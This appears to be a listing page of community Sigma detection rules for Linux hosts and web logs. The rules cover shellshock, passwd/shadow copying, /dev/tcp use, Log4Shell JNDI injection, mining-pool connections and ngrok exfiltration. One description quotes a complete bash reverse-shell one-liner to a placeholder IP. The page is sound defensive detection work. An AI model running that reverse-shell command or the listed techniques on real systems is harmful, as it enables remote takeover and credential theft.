Detections

Explore public detection logic contributed by the community across SIEM and rule languages.

7,270 detections

Detects shellshock expressions in log files
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects when the file "passwd" or "shadow" is copied from tmp path
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
202
Detects the creation of a new named pipe using the "mkfifo" utility
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects usage of "find" binary in a suspicious manner to perform discovery
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
302
Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects execution of shells from a parent process located in a temporary (/tmp) directory
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects possible Java payloads in web access logs
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects path traversal exploitation attempts
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects suspicious command with /dev/tcp
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects the creation of shell scripts under the "profile.d" path.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects process connections to a Monero crypto mining pool
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects the usage of the unsafe bpftrace option
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects usage of crontab to list the tasks of the user
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects execution of binaries located in potentially suspicious locations via "nohup"
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
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